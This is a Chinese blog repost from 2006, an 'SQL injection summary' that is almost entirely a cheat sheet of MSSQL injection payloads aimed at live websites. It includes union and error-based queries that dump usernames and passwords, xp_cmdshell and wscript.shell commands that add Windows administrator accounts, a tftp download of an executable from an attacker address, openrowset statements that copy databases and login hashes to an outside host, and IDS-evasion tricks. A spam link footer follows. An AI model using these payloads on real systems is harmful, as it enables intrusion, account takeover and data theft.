<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    love fish大鵬一曰同風起,扶搖直上九萬里

    常用鏈接

    統(tǒng)計

    積分與排名

    friends

    link

    最新評論

    Sql注射總結(jié)(轉(zhuǎn))

    sql注射總結(jié)(早源于or1=1)
    最重要的表名:
    select * from sysobjects
    sysobjects ncsysobjects
    sysindexes tsysindexes
    syscolumns
    systypes
    sysusers
    sysdatabases
    sysxlogins
    sysprocesses
    最重要的一些用戶名(默認sql數(shù)據(jù)庫中存在著的)
    public
    dbo
    guest(一般禁止,或者沒權(quán)限)
    db_sercurityadmin
    ab_dlladmin
    一些默認擴展
    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring
    xp_regwrite
    xp_availablemedia 驅(qū)動器相關(guān)
    xp_dirtree 目錄
    xp_enumdsn odbc連接
    xp_loginconfig 服務器安全模式信息
    xp_makecab 創(chuàng)建壓縮卷
    xp_ntsec_enumdomains domain信息
    xp_terminate_process 終端進程,給出一個pid
    例如:
    sp_addextendedproc xp_webserver, c:tempxp_foo.dll
    exec xp_webserver
    sp_dropextendedproc xp_webserver
    bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
    group by users.id having 1=1-
    group by users.id, users.username, users.password, users.privs having 1=1-
    ; insert into users values( 666, attacker, foobar, 0xffff )-
    union select top 1 column_name from information_schema.columns where table_name=logintable-
    union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
    union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
    union select top 1 login_name from logintable-
    union select top 1 password from logintable where login_name=rahul--
    構(gòu)造語句:查詢是否存在xp_cmdshell
    union select @@version,1,1,1--
    and 1=(select @@version)
    and sa=(select system_user)
    union select ret,1,1,1 from foo--
    union select min(username),1,1,1 from users where username > a-
    union select min(username),1,1,1 from users where username > admin-
    union select password,1,1,1 from users where username = admin--
    and user_name()=dbo
    and 0<>(select user_name()-
    ; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5245886 /add
    and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
    ;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
    1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
    and 1=(select is_srvrolemember(sysadmin)) 判斷sa權(quán)限是否
    and 0<>(select top 1 paths from newtable)-- 暴庫大法
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統(tǒng)的id,6以上才可以判斷)
    創(chuàng)建一個虛擬目錄e盤:
    declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默認 web 站點 -v e,e:
    訪問屬性:(配合寫入一個webshell)
    declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一個表 假設(shè)為 admin
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 來得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
    and uid>(str(id))) 暴到uid的數(shù)值假設(shè)為18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設(shè)為 user_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    (id,...)) 來暴出其他的字段
    and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用戶名
    依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段
    show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
    (union語句到處風靡啊,access也好用
    暴庫特殊技巧::%5c= 或者把/和 修改%5提交
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判斷id值
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
    ;create table [dbo].[swap] ([swappass][char](255));--
    and (select top 1 swappass from swap)=1
    ;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
    政策法規(guī)&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20wscript.shell,@s%20out;exec%20sp_oamethod%20@s,run,null,cmd.exe%20/c%20ping%201.1.1.1;--
    得到了web路徑d:xxxx,接下來:
    ;use ku1;--
    ;create table cmd (str image);--
    傳統(tǒng)的存在xp_cmdshell的測試過程:
    ;exec master..xp_cmdshell dir
    ;exec master.dbo.sp_addlogin hax;--
    ;exec master.dbo.sp_password null,hax,hax;--
    ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
    ;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
    ;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
    exec master..xp_servicecontrol start, schedule
    exec master..xp_servicecontrol start, server
    http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5258 /add
    ;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net localgroup administrators swap/add
    ; exec master..xp_cmdshell tftp -i youip get file.exe-
    declare @a sysname set @a=xp_ cmdshell exec @a dir c:
    declare @a sysname set @a=xp _cm dshell exec @a dir c:
    ;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目錄bak.dat
    如果被限制則可以。
    select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
    傳統(tǒng)查詢構(gòu)造:
    select * from news where id=... and topic=... and .....
    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
    select 123;--
    ;use master;--
    :a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
    and 1<>(select count(email) from [user]);--
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
    說明:
    上面的語句是得到數(shù)據(jù)庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
    通過查看ffff的用戶資料可得第一個用表叫ad
    然后根據(jù)表名ad得到這個表的id
    ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
    象下面這樣就可以得到第二個表的名字了
    ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
    ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
    ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
    ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
    exec master..xp_servicecontrol start, schedule
    exec master..xp_servicecontrol start, server
    sp_addextendedproc xp_webserver, c:tempxp_foo.dll
    擴展存儲就可以通過一般的方法調(diào)用:
    exec xp_webserver
    一旦這個擴展存儲執(zhí)行過,可以這樣刪除它:
    sp_dropextendedproc xp_webserver
    insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
    insert into users values( 667,123,123,0xffff)-
    insert into users values ( 123, admin--, password, 0xffff)-
    ;and user>0
    ;;and (select count(*) from sysobjects)>0
    ;;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫
    -----------------------------------------------------------通常注射的一些介紹:
    a) id=49 這類注入的參數(shù)是數(shù)字型,sql語句原貌大致如下:
    select * from 表名 where 字段=49
    注入的參數(shù)為id=49 and [查詢條件],即是生成語句:
    select * from 表名 where 字段=49 and [查詢條件]
    (b) class=連續(xù)劇 這類注入的參數(shù)是字符型,sql語句原貌大致概如下:
    select * from 表名 where 字段=連續(xù)劇
    注入的參數(shù)為class=連續(xù)劇 and [查詢條件] and = ,即是生成語句:
    select * from 表名 where 字段=連續(xù)劇 and [查詢條件] and =
    (c) 搜索時沒過濾參數(shù)的,如keyword=關(guān)鍵字,sql語句原貌大致如下:
    select * from 表名 where 字段like %關(guān)鍵字%
    注入的參數(shù)為keyword= and [查詢條件] and %25=, 即是生成語句:
    select * from 表名 where字段like % and [查詢條件] and %=%
    ;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
    sysobjects是sqlserver的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=u and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
    ;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
    從⑤拿到表名后,用object_id(表名)獲取表名對應的內(nèi)部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
    post.htm內(nèi)容:主要是方便輸入。
    〈iframe name=p src=# width=800 height=350 frameborder=0>

    〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- style=width:750>
    〈input type=submit value=>>>>
    〈input type=hidden name=fno value=2, 3>

    枚舉出他的數(shù)據(jù)表名:
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
    這是將第一個表名更新到aaa的字段處。
    讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
    然后id=1552 and exists(select * from aaa where aaa>5)
    讀出第二個表,^^^^^^一個個的讀出,直到?jīng)]有為止。
    讀字段是這樣:
    id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
    然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
    id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
    然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
    --------------------------------高級技巧:
    [獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件]
    select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
    通過sqlserver注入漏洞建數(shù)據(jù)庫管理員帳號和系統(tǒng)管理員帳號[當前帳號必須是sysadmin組]
    [獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_name(object_id(要查詢的數(shù)據(jù)表名),字段列如:1) [ where 條件]
    繞過ids的檢測[使用變量]
    declare @a sysname set @a=xp_ cmdshell exec @a dir c:
    declare @a sysname set @a=xp _cm dshell exec @a dir c:
    1、 開啟遠程數(shù)據(jù)庫
    基本語法
    select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
    參數(shù): (1) oledb provider name
    2、 其中連接字符串參數(shù)可以是任何和端口用來連接,比如
    select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
    要復制目標主機的整個數(shù)據(jù)庫,首先要在目標主機上和自己機器上的數(shù)據(jù)庫建立連接(如何在目標主機上建立遠程連接,剛才已經(jīng)講了),之后insert所有遠程表到本地表。
    基本語法:
    insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
    這行語句將目標主機上table2表中的所有數(shù)據(jù)復制到遠程數(shù)據(jù)庫中的table1表中。實際運用中適當修改連接字符串的ip地址和端口,指向需要的地方,比如:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
    insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
    select * from master.dbo.sysdatabases
    insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
    select * from user_database.dbo.sysobjects
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
    select * from user_database.dbo.syscolumns
    之后,便可以從本地數(shù)據(jù)庫中看到目標主機的庫結(jié)構(gòu),這已經(jīng)易如反掌,不多講,復制數(shù)據(jù)庫:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
    ......
    3、 復4、 制哈西表(hash)
    這實際上是上述復5、 制數(shù)據(jù)庫的一個擴展應用。登錄密碼的hash存儲于sysxlogins中。方法如下:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
    得到hash之后,6、 就可以進行暴力破解。這需要一點運氣和大量時間。
    遍歷目錄的方法:
    先創(chuàng)建一個臨時表:temp
    5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    5;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅(qū)動器
    5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
    5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中
    5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內(nèi)容
    5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
    5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
    5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
    5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree適用權(quán)限public)
    寫入表:
    語句1: and 1=(select is_srvrolemember(sysadmin));--
    語句2: and 1=(select is_srvrolemember(serveradmin));--
    語句3: and 1=(select is_srvrolemember(setupadmin));--
    語句4: and 1=(select is_srvrolemember(securityadmin));--
    語句5: and 1=(select is_srvrolemember(securityadmin));--
    語句6: and 1=(select is_srvrolemember(diskadmin));--
    語句7: and 1=(select is_srvrolemember(bulkadmin));--
    語句8: and 1=(select is_srvrolemember(bulkadmin));--
    語句9: and 1=(select is_member(db_owner));--
    把路徑寫到表中去:
    ;create table dirs(paths varchar(100), id int)-
    ;insert  dirs exec master.dbo.xp_dirtree c:-
     and 0<>(select top 1 paths from dirs)-
     and 0<>(select top 1 paths from dirs where paths not in(@inetpub))-
    語句:;create table dirs1(paths varchar(100), id int)--
    語句:;insert dirs exec master.dbo.xp_dirtree e:web--
    語句: and 0<>(select top 1 paths from dirs1)-
    把數(shù)據(jù)庫備份到網(wǎng)頁目錄:下載
    ;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
    and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
    and%201=(select%20top%201%20col_name(object_id(user_login),1)%20from%20sysobjects) 參看相關(guān)表。
    and 1=(select%20user_id%20from%20user_login)
    and%200=(select%20user%20from%20user_login%20where%20user>1)

    posted on 2006-09-30 09:06 liaojiyong 閱讀(359) 評論(0)  編輯  收藏 所屬分類: MSSQL

    主站蜘蛛池模板: 亚洲乱码一区二区三区在线观看 | mm1313亚洲精品无码又大又粗 | 爱爱帝国亚洲一区二区三区| 久久久久久A亚洲欧洲AV冫| 精品国产麻豆免费人成网站| 亚洲一区中文字幕在线电影网| 一区二区三区亚洲视频| 182tv免费视视频线路一二三| 国产亚洲欧美在线观看| 亚洲AV日韩精品久久久久| 免费视频中文字幕| 免费在线看黄网站| 青青青亚洲精品国产| 亚洲国产成人久久精品影视| 国产精品久久免费视频| 免费一级毛片无毒不卡| 亚洲av无码偷拍在线观看| 久久久久无码精品亚洲日韩| 国产麻豆剧传媒精品国产免费| 欧洲人成在线免费| 免费国产在线精品一区 | 国产啪精品视频网站免费尤物| 亚洲综合激情五月色一区| 亚洲无人区午夜福利码高清完整版 | 国产高清对白在线观看免费91| 亚洲偷自精品三十六区| 亚洲AV综合色区无码一区| 免费A级毛片无码A∨男男| 亚洲精品国产免费| 中国一级特黄的片子免费 | 亚洲国产高清人在线| 亚洲国产精品成人| 天堂在线免费观看中文版| 免费观看美女用震蛋喷水的视频| 男女一进一出抽搐免费视频| 久久无码av亚洲精品色午夜 | 亚洲av片在线观看| 久久精品国产亚洲AV忘忧草18| 亚洲AV日韩AV高潮无码专区| 亚洲色欲久久久久综合网| 曰皮全部过程视频免费国产30分钟 |